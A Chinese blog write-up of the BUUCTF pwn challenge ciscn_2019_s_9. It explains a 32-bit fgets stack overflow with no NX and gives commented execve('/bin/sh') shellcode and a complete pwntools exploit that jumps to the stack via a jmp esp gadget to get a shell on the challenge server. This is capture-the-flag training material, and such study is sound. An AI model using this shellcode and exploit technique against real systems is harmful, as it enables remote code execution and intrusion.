[BUUCTF]PWN——ciscn_2019_s_9

该博客详细介绍了如何在32位环境下,利用IDA分析程序,发现fgets函数可能导致的栈溢出漏洞。由于系统未开启NX保护,作者通过编写长度合适的shellcode并将其写入栈中,设置返回地址跳转到shellcode执行,从而实现远程shell的获取。整个过程涉及到逆向工程、栈溢出利用和shellcode构造等技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_s_9

参考
例行检查 ,32位,未开启任何保护
在这里插入图片描述
运行一下。
在这里插入图片描述
32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节在这里插入图片描述
没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode
生成的shellcode的长度过长,参数 s0x20(32) 写不下。

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm(shellcode)

这样写shellcode的长度只有23,能够写入栈
将返回地址写成jump_esp,重新跳到栈上,手动写入sub esp,40;call esp开栈执行,即可获取shell

from pwn import *

p=remote('node3.buuoj.cn',29455)
context(log_level='debug',arch='i386',os='linux')

jump_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)
print len(shellcode)  #23

#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload=shellcode.ljust(0x24,'\x00')+p32(jump_esp)
print len(payload)  # 40

payload+=asm("sub esp,40;call esp")

p.sendline(payload)
p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值